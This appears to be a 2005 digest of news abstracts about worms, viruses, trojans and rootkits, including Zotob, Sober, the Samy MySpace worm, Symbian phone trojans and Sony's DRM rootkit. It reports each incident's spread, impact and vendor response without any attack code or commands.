A worm started spreading on Sunday, August 14, using a flaw in the Windows operating system's Plug-and-Play functionality, according to two security groups, who advised users to update systems using a patch released by Microsoft Tuesday, August 9. Researchers at anti-virus firm F-Secure, who dubbed the worm, dubbed Zotob, do not believe that the worm will widely infect computer systems. The worm does not infect computers running Windows XP Service Pack 2 nor Windows 2003, as those systems are somewhat protected against the Windows Plug-and-Play vulnerability. Machines that block port 445 using a firewall will also not be vulnerable, the company said. On Friday, the Internet Storm Center upgraded their threat level for the Internet to yellow, because three different groups had published code for taking advantage of the Microsoft Windows' Plug-and-Play flaw to compromise Windows machines. Microsoft's investigation into the worm indicated that it only infects Windows 2000 systems. The company verified that any system patched by its update released last Tuesday will not be infected by the worm.

Category 14.2 Worms

2005-08-17 **worm attack media outlet computers Microsoft Windows 2K 2000**

DHS IAIP Daily;
<http://www.bloomberg.com/apps/news?pid=10000103&sid=aPrKdHO1jQOI&refer=us>

MEDIA OUTLET COMPUTERS ATTACKED BY WORM

CNN, SBC Communications Inc. and other media outlet computers were shut down on Tuesday, August 16, by a computer worm that targets Microsoft Corp.'s Windows software. The destructive program is a strain of an existing worm known as Zotob affecting computers running the Windows 2000 operating system, said Stephen Toulouse, security program manager at Microsoft. "Our analysis has revealed that the reported worms are different variations of the existing attack called Zotob," Toulouse wrote in an e-mailed statement. Customers who had updated their software or are using other operating system versions such as Windows XP, weren't affected, he said. CNN spokesperson Laurie Goldberg said there were computer failures in Atlanta and New York. ABC Inc. had computers on the U.S. East and West coasts affected, spokesperson Jeff Schneider said. Production of the London-based Financial Times newspaper was disrupted by the infection, said spokesperson Katy Hemmings. Some computers were affected at number two U.S. phone carrier SBC Communications call centers, forcing employees to manually enter orders, said spokesperson Michael Coe. Computers at the New York Times Co., the third-largest newspaper publisher, were also hit. Security hole patch: <http://www.microsoft.com/technet/security/Bulletin/MS05-039.mspx>

Category 14.2 Worms

2005-08-17 **computer worms attack each other F-Secure software security virus-writing gangs Microsoft Windows 2K 2000**

DHS IAIP Daily; <http://tech.nytimes.com/reuters/technology/tech-viruses-fsecure-c.html>

COMPUTER WORMS ARE ATTACKING EACH OTHER ACCORDING TO ANALYST

Computer worms that have brought down systems around the world in recent days are starting to attack each other, an analyst from Finnish software security firm F-Secure said on Wednesday, August 17. "We seem to have a botwar on our hands," said Mikko Hypponen, chief research officer at F-Secure. "There appear to be three different virus-writing gangs turning out new worms at an alarming rate, as if they were competing to build the biggest network of infected machines," said Hypponen. Hypponen said in a statement that varieties of three worms -- Zotob, Bozori and IRCbot -- were still exploiting a gap in Microsoft Corp.'s Windows 2000 operating system on computers that had not had the flaw repaired and were not shielded by firewalls.

Category 14.2 Worms

2005-08-25 **worm attack Microsoft MSN Messenger multiple languages Windows operating system OS**

DHS IAIP Daily; <http://www.networkworld.com/news/2005/082505-msn-messenger-worm.html?fsrc=rss-security>

NEW MICROSOFT MESSENGER WORM WORKS IN MULTIPLE LANGUAGES

Users of Microsoft's MSN Messenger should be aware of a new "smart" worm that checks the configuration of their Windows client and sends a message in the appropriate language, according to security companies Akonix Systems and Symantec. The Kelvir.HI worm, a variant of the Kelvir IM malware that surfaced earlier this year, appears to be the first instant-message bug capable of checking systems settings and communicating in the victim's native tongue. When the worm penetrates a system, it sends a message in one of several languages, including Dutch, English, French, German and Greek as well as Portuguese, Swedish, Spanish and Turkish. The message in English is: "haha i found your picture!" If a user clicks on a link included with the message, a copy of the W32.Spyboot worm is automatically downloaded to their computer. Spyboot is a backdoor program that can, among other things, close security applications and help further spread the worm. The Kelvir.HI worm affects computers running Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003 and Windows XP, according to a Symantec advisory.

Category 14.2

Worms

2005-09-19

worm Google spoofing warning peer-to-peer P2P game download browser corruption

DHS IAIP Daily; <http://www.snpix.com/cgi-bin/news55.cgi?target=109996736?--2622>

SECURITY VENDOR WARNS OF GOOGLE-SPOOFING WORM

There is a new Google worm, called P2Load.A and it is being spread on peer-to-peer programs like Shareaza and Imesh. According to Forrest Clark, senior manager of consumer product marketing with antivirus vendor Panda Software, the worm is posing as a free version of the Lucasfilm game "Knights of the Old Republic II." P2Load.A first began spreading on Wednesday and is most widely spread in the U.S. and Chile, Clark said. Users that download this game are finding themselves installing a new work and then receiving poor Google search results. This is done in installation which changes the browser when a user is trying to access Google. Instead of reaching Google the user is directed to a spoof site, hosted on a server in Germany.

Category 14.2

Worms

2005-10-13

malicious code malware javascript Web page myspace friend denial of service DoS

RISKS; <http://fast.info/myspace/>

24

07

IDIOT HACKER SHUTS DOWN MYSPACE USING JAVASCRIPT WORM

A criminal hacker ("Samy") using the myspace.com service decided to falsify his popularity ratings: "Let's see here...what would make my profile rock. Well, the most popular profiles on myspace pretty much consist of people with the IQ and English delivery skills of Kanye West so I don't want to mimic those, but popularity begets popularity. I need some more friends. I need people to love me. I delved into the bug and found that I could basically control the web browsing of anyone who hit my profile. In fact, I was able to develop something that caused anyone who viewed my profile to add my name to their profile's list of heroes. It's villainous. I was ecstatic. But it wasn't enough. I needed more. So I went deeper. A Chipotle burrito bol and a few clicks later, anyone who viewed my profile who wasn't already on my friends list would inadvertently add me as a friend. Without their permission. I had conquered myspace. Veni, vidi, vici."

Unfortunately, this idiot wasn't satisfied with linear growth of his fake popularity: "But it wasn't enough.

If I can become their friend...if I can become their hero...then why can't their friends become my friend...my hero. I can propagate the program to their profile, can't I. If someone views my profile and gets this program added to their profile, that means anyone who views THEIR profile also adds me as a friend and hero, and then anyone who hits THOSE people's profiles add me as a friend and hero... So if 5 people viewed my profile, that's 5 new friends. If 5 people viewed each of their profiles, that's 25 more new friends. And after that, well, that's when things get difficult. The math, I mean. Some people would call this a worm. I call it popularity. Regardless, I don't care about popularity, but it can't hurt, right?"

Within 20 hours, he had 1,005,831 friend requests (all fake).

[Original pointer by Paul Bissex; summary by MK]

Myspace had to shutdown temporarily to clean up the mess.

Category 14.2

Worms

2005-10-17

Teen worm ratings MySpace Websites Los Angeles data information networks profile XSS HTML

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/story/0,10801,105484,00.html?SKC=security-105484>

TEEN USES WORM TO BOOST RATINGS ON MYSPACE.COM

Using a self-propagating worm that exploits a scripting vulnerability common to most dynamic Websites, a Los Angeles teenager made himself the most popular member of community Website MySpace.com earlier this month. While the attack caused little damage, the technique could be used to destroy Web site data or steal private information—even from enterprise users behind protected networks, according to Jeremiah Grossman, chief technical officer at Santa Clara, Calif.-based WhiteHat Security Inc. The 19-year-old, who used the name "Samy," put a small bit of code in his user profile on MySpace, a 32-million-member site, most of whom are under age 30. Whenever Samy's profile was viewed, the code was executed in the background, adding Samy to the viewer's list of friends and writing at the bottom of their profile, "... and Samy is my hero." The worm spread by copying itself into each user's profile. Because of MySpace's popularity, the worm spread quickly. The attack depended on a long-known but little-protected vulnerability called cross-site scripting (XSS). XSS arises because many Websites—apart from static sites that use only simple HTML code—are dynamic, allowing users to manipulate Website source code.

Category 14.2

Worms

2005-11-01

Frankenstein AIM worm attack AOL instant messaging buddy icon adware rootkit infection remote control

DHS IAIP Daily; <http://www.pcworld.com/news/article/0,aid,123350,00.asp>

'FRANKENSTEIN' ATTACK HITS AIM

A new worm is targeting America Online instant messenger users. The worm is installing rootkit types of backdoors on infected machines. The attack starts by the user opening a link of an AOL "buddy." This link contains an infection sequence with drops adware files and the rootkit itself. Once on the PC, the malware shutdowns the antivirus software and installs new software that allows the PC to be remotely controlled.

Category 14.2

Worms

2005-11-15

instant messaging IM worm spread mutation update too slow

DHS IAIP Daily; <http://www.techweb.com/wire/security/173603062>

IM WORMS MUTATING AT AN ALARMING RATE

Instant-messaging (IM) threats are mutating at an alarming rate, as virus writers attempt to bypass security-system updates that corporations use for protection. A record number of IM threat mutations have been recorded by IMlogic Inc., which has found that 88 percent of all worms tracked by its threat center also have mutations. The worst chameleon is the Kelvir worm, which has mutated 123 times during the last 11 months, the Waltham, Mass., vendor said. Art Gilliland, vice president of product for IMlogic, said, "IM threats are different than email threats. Updating virus signatures doesn't work well for IM, because the mutations are exceedingly fast and so is the speed with which these threats propagate."

Category 14.2

Worms

2005-11-28

worm Sober variant rise e-mail circulation social engineering

DHS IAIP Daily;

http://www.infoworld.com/article/05/11/28/HNsobervariantrise_1.html

SOBER VARIANT ON RISE, SECURITY FIRM WARNS

The latest variant of the Sober worm is proliferating, with a staggering one in 14 e-mails circulated on the Internet containing it as of Monday morning, November 28, according to the antivirus vendor Sophos. Around 85 percent of all viruses reported to Sophos are what the company calls Sober-Z, up from around 60 percent last week, said Graham Cluley, senior technology consultant. Right now, Sober-Z ranks as the third most prevalent virus for the year, behind Netsky-P in first and Zafi-D in second, he said. It first appeared around November 22 using several forms of social engineering to trick users into executing the attachment. Messages purporting to be from the U.S. Federal Bureau of Investigation warn recipients that they have been visiting illegal Websites and ask them to read a list of attached questions. Other versions pretend to be from the U.S. Central Intelligence Agency or offer video clips of Paris Hilton and Nicole Richie from the TV show "The Simple Life." While most antivirus vendors have updates that can remove the worm, the "clever" social engineering ploys are still effective, Cluley said.

Category 14.2

Worms

2005-12-02

virus worm Sober MSN Hotmail denial-of-service DoS Comcast

DHS IAIP Daily;

http://news.com.com/Sober+worm+stalls+MSN,+Hotmail/2100-7349_3-5980987.html?part=rss&tag=5980987&subj=news

SOBER WORM STALLS MSN, HOTMAIL

A variant of Sober known as Win32/Sober.Z@mm is to blame for disrupting e-mail traffic between Comcast account holders and users of Hotmail and MSN Friday, December 2. These Microsoft-based e-mail servers are getting pummeled with an "unusually high mail load," causing delays in e-mail delivery to Hotmail and MSN customers, said Brooke Richardson, MSN's lead product manager. Richardson also indicated that Internet service providers besides Comcast may be having problems directing e-mail to Hotmail and MSN servers. "We are working with Comcast and other ISPs to address [the] issues," Richardson said. Blog reports say that some Comcast subscribers, when sending e-mail to a Hotmail or MSN account, have received an error message saying their message was not received. However, Microsoft says that all e-mails, while some may be delayed, are eventually getting through.

Category 14.2 Worms

2005-12-05 **Blaster worm active Microsoft Windows malicious software removal tool**

DHS IAIP Daily; <http://www.eweek.com/article2/0,1895,1896373,00.asp>

TWO YEARS LATER, BLASTER WORM STILL THRIVING

More than two years after the Blaster Worm proliferated, the worm is still very much alive and there are fears within Microsoft that thousands of Windows machines will never be completely dewormed. According to statistics culled from Microsoft's Windows malicious software removal tool, between 500 and 800 copies of Blaster are removed from Windows machines per day. "The continued prevalence of [Blaster] is likely due to infected computers which, for one reason or another, will never be updated or disinfected. These computers will serve as eternal carriers for the worm," says Matthew Braverman, a program manager in Microsoft's Anti-Malware Engineering Team. In a case study on Blaster presented to the Virus Bulletin conference in October, Braverman said Blaster ranked in the top five of the most prevalent worms removed by the anti-malware utility. Braverman said the worm continues to be prevalent on a whopping 79 percent all Windows XP (Gold) machines and 21 percent of all Windows XP SP1 systems. On Windows XP SP2, infections are almost nonexistent, Braverman said, pointing out that XP SP2 systems went through a major post-Blaster security overhaul that means those systems cannot be infected through Blaster's main replication vector.

Category 14.2 Worms

2005-12-06 **instant messaging AOL AIM worm chat dupe payload activation IMLogic**

DHS IAIP Daily;
http://news.com.com/New+IM+worm+chats+with+intended+victims/2100-7349_3-5984845.html?tag=cd.top

NEW INSTANT MESSENGER WORM CHATS WITH INTENDED VICTIMS

A new worm that targets users of America Online's AOL Instant Messenger (AIM) is believed to be the first that actually chats with the intended victim to dupe the target into activating a malicious payload, IM security vendor IMlogic warned Tuesday, December 6. According to IMlogic, the worm, dubbed IM.Myspace04.AIM, has arrived in instant messages that state: "lol thats cool" and included a URL to a malicious file "clarissa17.pic." When unsuspecting users have responded, perhaps asking if the attachment contained a virus, the worm has replied: "lol no its not its a virus", IMlogic said. The malicious file disables security software, installs a backdoor and tweaks system files, the company said. Then it starts sending itself to contacts on the victim's buddy list. Another worm discovered Tuesday, dubbed Aimdes.E, targets AIM users and arrives with the message: "The user has sent you a Greeting Card, to open it visit:" followed by a link, according to security specialist Akonix Systems. Once the target clicks on the link, the worm installs itself on the system. It opens a backdoor on the computer and sends itself to contacts on the buddy list, Akonix said.

Category 14.2 Worms

2005-12-07 **worm virus attack Sober January 2005 German Nazi Party formation political agenda**

DHS IAIP Daily; <http://www.techweb.com/wire/security/174904530>

NEXT SOBER ATTACK SLATED FOR JANUARY 5

The next big Sober worm attack is scheduled to take place Thursday, January 5, 2006, a date probably picked because it's the 87th anniversary of the founding of a precursor to the Nazi Party, a security firm said Wednesday, December 7. January 5, 2006, was the date embedded in the most recent Sober variants, said Ken Dunham, a senior engineer with Reston, VA-based VeriSign iDefense, a security intelligence firm. "We did reverse engineering on the variants, and found this date in the code," said Dunham. "The way this works is that at a pre-determined time, computers already infected with Sober will connect with specified servers and download a new payload, which will likely be spammed out in the millions, as was the last version." Sober, which boasts more than 30 variants, debuted more than two years ago, and is characterized by bilingual messages (English or German) that are mass-mailed in huge quantities. The worm's creator doesn't appear to be motivated by money. Instead, the creator -- who is assumed to be German -- has a political agenda, said Ramses Martinez, iDefense's director of malicious code operations. "There hasn't been one variant that did anything but send out right-wing German spam."

Category 14.2 Worms

2005-12-09 **anti-virus vendors Sober code cracked FBI CIA e-mail spoofing F-secure blog**

DHS IAIP Daily; http://news.com.com/Sober+code+cracked/2100-7349_3-5989094.html?tag=nl

ANTIVIRUS COMPANIES: SOBER CODE CRACKED

The latest variant of the Sober worm caused havoc in November by duping users into executing it by masking itself as e-mails from the Federal Bureau of Investigation and the Central Intelligence Agency. Antivirus companies were aware that the worm somehow knew how to update itself via the Web. The worm's author programmed this functionality to control infected machines and, if required, change their behavior. On Thursday, December 8, Finnish antivirus firm F-Secure revealed that it had cracked the algorithm used by the worm and could now calculate the exact URLs the worm would check on a particular day. Mikko Hypponen, chief research officer at F-Secure, explained that the virus' author has not used a constant URL because authorities would easily be able to block it. "Sober has been using an algorithm to create pseudorandom URLs which will change based on dates. Ninety-nine percent of the URLs simply don't exist...However, the virus' author can pre-calculate the URL for any date, and when he wants to run something on all the infected machines, he just registers the right URL, uploads his program and BANG! It's run globally on hundreds of thousands of machines," Hypponen wrote in his blog.

Category 14.2 Worms

2005-12-16 **worm virus Dasher outbreak Internet Microsoft Windows spyware payload**

DHS IAIP Daily;
http://news.com.com/Dasher+worm+gallops+onto+the+Net/2100-10_02_3-5999114.html?part=rss&tag=5999114&subj=news

DASHER WORM GALLOPS ONTO THE INTERNET

A Windows-targeted worm that drops spying software on vulnerable PCs is spreading across the Internet, security experts have warned. The Dasher.B worm exploits a flaw in Microsoft Windows Distributed Transaction Coordinator, or MDTC, security companies said Friday, December 16. Microsoft announced and patched the hole in the component for transaction processing in October. However, initial glitches with the update may have left some users without a properly implemented fix, Sophos said. Dasher.B is a network worm that has the potential to open a back door on computers with the MSDTC flaw, security experts said. The infected systems are then prompted to connect to a remote computer for instructions. Once connected, it downloads a malicious program that tracks keystrokes. A third version of the worm emerged Friday, Dasher.C, which almost looks identical to Dasher.B, said Oliver Friedrichs, senior manager at Symantec's Security Response Center. Three versions of Dasher -- B, C and A, which emerged earlier this week -- have infected at least 3,000 systems worldwide, Friedrichs said, noting the growth rate of the infection has since leveled off.

14.3 Virus/worms

Category 14.3

Virus/worms

2005-08-19

denial of service DoS virus failure backup systems business continuity

RISKS

24

02

US CUSTOMS COMPUTERS FALL TO VIRUS INFECTION

A U.S. Customs database system in Virginia shut down for about 5.5 hours beginning around 6pm on 18 August. The system is used to process incoming international air passengers, but its absence caused havoc at Miami International Airport, where up to 2000 people were waiting to clear immigration. Airports in the NYC area were able to use backup systems. The cause was subsequently blamed on a virus.

[Abstract by Peter G. Neumann]

Category 14.3

Virus/worms

2005-09-22

US-CERT malware virus worm Trojan horse naming plan obstacles

DHS IAIP Daily; <http://www.eweek.com/article2/0,1895,1862251,00.asp>

US-CERT MALWARE NAMING PLAN FACES OBSTACLES

US-CERT, the U.S. Computer Emergency Readiness Team, will begin issuing uniform names for computer viruses, worms, and other malicious code next month, as part of a program called the Common Malware Enumeration initiative. The program is intended to clear up confusion that results from the current decentralized system for naming Internet threats, which often results in the same virus or worm receiving different names from different anti-virus vendors. New malicious code samples are held for two hours and, if no other example of the new code is submitted, assigned a CME number.

Category 14.3

Virus/worms

2005-10-06

Common Malware Enumeration CME taxonomy disagreement security experts malicious software

EDUPAGE; http://news.com.com/2100-7348_3-5890038.html

MALWARE NAMING SCHEME PROMPTS DISAGREEMENT

Security experts are of two minds concerning the release of a scheme to provide common names for malicious software. The Common Malware Enumeration (CME) system is designed to eliminate the confusion that often arises when a new piece of malware begins circulating the Internet. As different security companies identify the code, they typically assign different names, causing confusion among computer users as to whether there are multiple threats that need to be addressed or simply one new threat with several names. Starting with the most common and damaging pieces of malware, CME will assign a unique number to each. Trend Micro's David Perry criticized the program for not covering all malware, however. He also said the scheme won't provide any benefit for consumers. His comments were echoed by IBM's Martin Overton, who said CME will make matters worse, and by Boeing's Jeanette Jarvis. Graham Cluley of Sophos, on the other hand, applauded the new system. Larry Bridwell, content security programs manager for security watchdog ICSA, also supports the naming scheme, calling it a good first step and pointing out that it was "never designed to solve the naming problem" but rather to serve "as an index." CNET, 6 October 2005

Category 14.3

Virus/worms

2005-10-06

Vnunet Security virus US CERT Internet worms threats CME malware CVE

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2143314/security-industry-gathers>

SECURITY INDUSTRY ADOPTS UNIFORM VIRUS NAMES

The US Computer Emergency Readiness Team (US-CERT) has kicked off an initiative to create common names for Internet worms and threats. Common Malware Enumeration (CME) aims to reduce confusion with the public caused by disparate naming schemes for Internet threats. Currently Internet worms are often named using information about the virus or a follow a description the author entered when crafting the malware. The new scheme will use a sequential CME number, beginning with CME-1. A similar naming system already exists for security vulnerabilities in software, which uses a Common Vulnerability and Exposure (CVE) identifier. However, CME differs from CVE in that the worm naming initiative will not include the date.

Category 14.3

Virus/worms

2005-10-26

Zotob damage businesses worm Cybertrust Internet vulnerabilities Nimba MSBlast Windows

DHS IAIP Daily;

http://news.com.com/Zotob+damage+deep+but+not+widespread/2100-7355_3-5915591.html?tag=nefd.top

ZOTOB DAMAGE DEEP BUT NOT WIDESPREAD

Fewer businesses fell victim to the Zotob worm that struck corporate networks in August than previous attacks, according to a report released on Wednesday, October 26, by computer security firm Cybertrust. Of 700 organizations surveyed, 13 percent were disrupted by the worm. Six percent of survey respondents said Zotob's impact on their company was moderate to major, which was defined as more than \$10,000 in losses and at least one major business system affected, such as e-mail or Internet connectivity. According to the study, Zotob did far less damage than did other major worms designed to exploit Windows vulnerabilities. For example, the Nimda and 8 MSblast worm made a moderate to major impact on 60 percent and 30 percent of companies, respectively. Zotob was less widespread, in part, because it targeted only PCs running Windows 2000. The worm exploited a hole in the operating system's plug-and-play feature, and let attackers take control of infected machines. Twenty-six percent of Zotob victims noted that infections occurred because they had no firewall in place. The health care industry was hit hardest, with more than a quarter of that sector's organizations reporting some impact. Cybertrust report:

http://www.cybertrust.com/pr_events/2005/20051026.shtml

14.4 Trojans & rootkits

Category 14.4

Trojans & rootkits

2005-01-13

cellery worm malware tetris bandwidth saturation denial-of-service DoS trojan

NewsScan; <http://news.bbc.co.uk/1/hi/technology/4170903.stm>

CELLERY WORM PLAYS GAMES WITH VICTIMS

Users are being warned about the Cellery worm -- a Windows virus that piggybacks on the hugely popular Tetris game. Rather than spreading itself via e-mail, Cellery installs a playable version of Tetris on the user's machine. When the game starts up, the worm seeks out other computers it can infect on the same network. The virus does no damage, but could result in clogged traffic on heavily infected networks. "If your company has a culture of allowing games to be played in the office, your staff may believe this is simply a new game that has been installed -- rather than something that should cause concern," says a spokesman for computer security firm Sophos. (BBC News 13 Jan 2005)

Category 14.4

Trojans & rootkits

2005-01-24

Trojan Horse program Symbian based phone harm useless Bluetooth reuse restore factory settings

DHS IAIP Daily; <http://www.pcworld.com/news/article/0,aid,119392,00.asp>

NEW TROJAN HORSE PROGRAMS WILL RENDER SOME SYMBIAN-BASED MOBILE PHONES USELESS

Two new Trojan horse programs, Gavno.a and Gavno.b, masquerade as patch files designed to trick users into downloading them, says Aaron Davidson, chief executive officer of SimWorks International. Although almost identical with Gavno.a, Gavno.b contains the Cabir worm, which attempts to send a copy of the Trojan horse to other nearby Symbian-based phones via short-range wireless Bluetooth technology. The Gavno Trojans, according to Davidson, are the first to aim at disrupting a core function of mobile phones--telephony--in addition to other applications such as text messaging, e-mail, and address books. Gavno.a and Gavno.b are proof-of-concept Trojan horses that "are not yet in the wild," Davidson says. Davidson believes the Trojan programs originated in Russia. To fix infected phones, users will need to restore them to their factory settings.

Category 14.4

Trojans & rootkits

2005-02-11

Microsoft anti-spyware trojan attack information warfare disable interfere confidentiality data theft key logging e-mail attachment

NewsScan; <http://theage.com.au/articles/2005/02/11/1108061848064.html>

MICROSOFT PROBES SPYWARE ATTACK

Microsoft Corp is investigating a malicious program that attempts to turn off the company's newly released anti-spyware software for Windows computers. Stephen Toulouse, a Microsoft security program manager, said yesterday that the program, known as "Bankash-A Trojan," could attempt to disable or delete the spyware removal tool and suppress warning messages. It also may try to steal online banking passwords or other personal information by tracking a user's keystrokes. To be attacked, Toulouse said a user would have to be fooled into opening an email attachment that would then start the malicious program. (The Age 11 Feb 2005)

SOPHOS anti-malware company summarizes the Trojan's functions as follows:

- * Steals credit card details
 - * Turns off anti-virus applications
 - * Deletes files off the computer
 - * Steals information
 - * Drops more malware
 - * Downloads code from the internet
-

Category 14.4 *Trojans & rootkits*
2005-04-08 **hacker bogus Microsoft update patches e-mail Trojan Horse installation**

DHS IAIP Daily; <http://news.zdnet.co.uk/internet/security/0,39020375,39194302,0.htm>

HACKERS SEND FLOOD OF BOGUS MICROSOFT UPDATES

On Thursday, April 7, the same day that Microsoft announced details of its next round of monthly patches, hackers sent out a wave of emails disguised as messages from the software company in a bid to take control of thousands of computers. The emails contain bogus news of a Microsoft update, advising people to open a link to a Web site and download a file that will secure and 'patch' their PCs. The fake Website, which is hosted in Australia, looks almost identical to Microsoft's and the download is actually a Trojan horse — a program that can give hackers remote control of a computer. Microsoft said it is looking into the situation.

Category 14.4 *Trojans & rootkits*
2005-04-20 **Trojan Horse attack Symbian cell phone wireless mobile phone industry concern**
SimSecure F-Secure

DHS IAIP Daily;
http://news.com.com/Trojan+horses+take+aim+at+Symbian+cell+phones/2100-7349_3-5678211.html

TROJAN HORSES TAKE AIM AT SYMBIAN CELL PHONES

The recent discovery of a large number of malicious mobile phone programs should raise concerns throughout the wireless industry, according to a virus tracker. Cell phone antivirus software company SimWorks reported Wednesday, April 20, that 52 new Trojan horses are hidden inside several different cell phones games and other readily available mobile phone software. While the software appears to be safe to share or use, the Trojans actually contain malicious software that crashes many critical cell phone system components. The Trojan horses target only cell phones that use Symbian, an advanced operating system. To date, no phones have been affected, according to Aaron Davidson, chief executive officer of SimWorks. While the damage is negligible so far, the recent warnings from SimWorks and security specialist F-Secure are raising alarm bells in the wireless industry. The latest report brings the total number of known Symbian Trojan horses to more than 100.

Category 14.4 *Trojans & rootkits*
2005-06-04 **hacker attack Trojan horses botnet building warning Bagle virus code organized crime**

DHS IAIP Daily; <http://www.eweek.com/article2/0,1759,1823633,00.asp>

ANTI-VIRUS COMPANIES WARN OF TROJAN ATTACK THAT BUILDS BOTNETS

Anti-virus researchers are sounding the alert for a massive, well-coordinated hacker attack using three different Trojans to hijack PCs and create botnets-for-hire. The three-pronged attack is being described as "unprecedented" because of the way the Trojans communicate with each other to infect a machine, disable anti-virus software and leave a back door open for future malicious use. Roger Thompson, director of malicious content research at Computer Associates International Inc. said that this attack "... clearly points to a very well-organized group either replenishing existing botnets or creating new ones." Once the three Trojans are installed, the infected computer becomes part of a botnet and can be used in spam runs, distributed denial-of-service attacks or to log keystrokes and steal sensitive personal information. According to CA's Thompson, the success of the three-pronged attack could signal the end of signature-based virus protection if Trojans immediately disable all means of protection. He said he thinks the attack, which used virus code from the Bagle family, is the work of a very small group of organized criminals. With the rapid proliferation of new types of virus, Trojan and worm attacks, PC users are urged to be strict about following security guidance.

Category 14.4

Trojans & rootkits

2005-06-16

United Kingdom UK cyber infrastructure Trojan horse attack Far East

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2138105/uk-infrastructure-trojan-attack>

UNITED KINGDOM'S CYBER INFRASTRUCTURE UNDER TROJAN ATTACK

Parts of the United Kingdom's (UK) key computer systems are being targeted by Trojan software apparently originating from the Far East, according to the National Infrastructure Security Coordination Centre (NISCC). Both the UK government and private companies are being targeted, and an NISCC bulletin lists 76 Trojan programs that have been detected. The organization claims that the IP addresses on the e-mails often come from the Far East. "Trojan capabilities suggest that the covert gathering and transmitting of otherwise privileged information is a principal goal," stated the bulletin. "The attacks normally focus on individuals who have jobs working with commercially or economically sensitive data." The bulletin also warned that firewalls and antivirus software do not protect against the Trojans as they can be modified by security code to avoid signature traces.

NISCC Bulletin: <http://www.niscc.gov.uk/niscc/docs/ttea.pdf>

Category 14.4

Trojans & rootkits

2005-06-30

TechWeb trojan filtering Finnish firm worms Trojan horses Windows HOSTS Microsoft RAS API IP addresses Computer Associates F-Secure McAfee Sophos Symantec Trend Micro Mitglieder

DHS IAIP Daily; <http://www.techweb.com/wire/security/164904273>

NEW TROJAN FILTERING PACKETS TO ISOLATE USERS

A new Trojan is using a sophisticated technique to cut off infected computers from anti-virus and security vendors' update sites, the Finnish firm F-Secure said Thursday, June 30. It's not uncommon for worms and Trojan horses to sever links to update sites, but the until recently, said F-Secure, the method has been different: modifying the Windows HOSTS file to redirect the domains of popular security vendors to the local host so that the browser returns a blank page or error. This Trojan, dubbed Fantibag.b by F-Secure (and Fantibag.a by Computer Associates), however, blocks access by creating packet filtering policies using the Microsoft RAS packet filtering API. The result: all inbound and outbound packets between the user's machine and any of the 100+ filtered IP addresses are then dropped, essentially cutting communication and preventing updates--such as new malware signatures--from being downloaded. Among the filtered IP addresses are those belonging to Microsoft (including Windows Update), Computer Associates, F-Secure, McAfee, Sophos, Symantec, and Trend Micro. Fantibag.b sports a tenuous connection with the more prevalent Mitglieder Trojan, said Computer Associates; the former may be downloaded to systems already compromised by Mitglieder.

Category 14.4

Trojans & rootkits

2005-07-04

The Register Symbian Trojan phones Doomboot mobile smartphones Bluetooth battery Finnish

DHS IAIP Daily;

http://www.theregister.co.uk/2005/07/04/symbian_trojan_doomboot_oot/

SYMBIAN TROJAN DRAINS THE LIFE FROM PHONES

Virus writers have created a new Symbian Trojan called Doomboot-A that loads an earlier mobile virus (Commwarrior-B) onto vulnerable smartphones. Doomboot-A also preventing infected phones from booting up properly. "Doomboot-A causes the phone not to boot anymore and Commwarrior causes so much Bluetooth traffic that the phone will run out of battery in less than one hour. Thus the user who gets his phone infected with Doomboot-A has less than one hour to figure out what is happening and disinfect his phone, or he will lose all data," writes Jarno Niemela, a researcher at Finnish anti-virus firm F-Secure. "The Doomboot-A installation does not give any obvious clues that something is wrong, and Commwarrior-B does not have icon and is not visible in the process list. So the installation of Doomboot-A looks very much like failed installation of pirate copied game, and [a] user has hard time noticing that something bad is happening," he added. Doomboot-A, like most Symbian Trojans, poses as a pirate copy of a Symbian game (in this case Doom 2). Users who avoid pirated games or applications should be safe from infection.

Category 14.4 *Trojans & rootkits*
2005-07-11 **trojan horse attacks alert virus companies individuals infiltrateelements threat infrastructure operations software firewalls recipients patch vulnerabilities**

DHS IAIP Daily; <http://www.esecurityplanet.com/alerts/article.php/3519236>

US-CERT WARNS OF LATEST TROJAN HORSE ATTACKS

The US-CERT issued an alert last week warning of heightened trojan virus attacks against companies and individuals. Although trojan attacks that infiltrate computer systems aren't new, US-CERT said the technique used in these latest attacks have two distinct elements, which pose a threat to computing infrastructure and individual business operations. First, the trojans can elude conventional protective anti-virus software and firewalls. A number of open source and tailored trojans, altered to avoid anti-virus detection, have been used. Second, the e-mails are sent to specific or targeted recipients. Unlike "phishing" attacks, the e-mails use subject lines often referring to work or other subjects that the recipient would find relevant. US-CERT made 12 recommendations for system administrators in order to head off trojan horse attacks. They include using an anti-virus scanner on all e-mail attachments, updating operating system and application software to patch vulnerabilities exploited in the past by these Trojans; and turn off 'Preview Pane' functionality in e-mail clients and set the default options to view opened e-mails as plain text. Technical Cyber Security Alert TA05-189A --Targeted Trojan Email Attacks: <http://www.us-cert.gov/cas/techalerts/TA05-189A.html>

Category 14.4 *Trojans & rootkits*
2005-10-27 **bird flu Trojan horse Microsoft Word macro security social engineering**

DHS IAIP Daily;
<http://www.techweb.com/wire/security/172900939;jsessionid=DI XRDJJ3N5GNGQSNDBCSKH0CJUMEKJVN>

BIRD FLU TROJAN POSES DANGER TO WORD USERS

A new Trojan horse, dubbed "Navia.a" by Panda Software, uses subject heads of "Outbreak in North America" and "What is avian influenza (bird flu)?" to dupe recipients into opening an attached Microsoft Word document. Luis Corrons, director of Panda's research, says "Unfortunately, we were expecting something like this... This is not the first time, and won't be the last, that writers of malicious code have taken advantage of people's misfortune and anxieties to spread their Trojans and worms." To protect against a macro-based exploit, Word users should set macro security level at "Medium," which triggers a warning when a Word document containing one or macros is opened, or "High," to disable macros entirely.

Category 14.4 *Trojans & rootkits*
2005-10-31 **digital rights management DRM SONY CD-ROM rootkit Trojan copyright protection malware malicious software**

<http://www.sysinternals.com/blog/2005/10/sony-rootkits-and-digital-rights.html> 24 09

SONY DRM INSTALLS ROOTKIT

On Oct. 31, Mark Russinovich broke the story in his blog: Sony BMG Music Entertainment distributed a copy-protection scheme with music CDs that secretly installed a rootkit on computers. This software tool is run without your knowledge or consent -- if it's loaded on your computer with a CD, a hacker can gain and maintain access to your system and you wouldn't know it.

The Sony code modifies Windows so you can't tell it's there, a process called "cloaking" in the hacker world. It acts as spyware, surreptitiously sending information about you to Sony. And it can't be removed; trying to get rid of it damages Windows.

This story was picked up by other blogs ..., followed by the computer press. Finally, the mainstream media took it up.

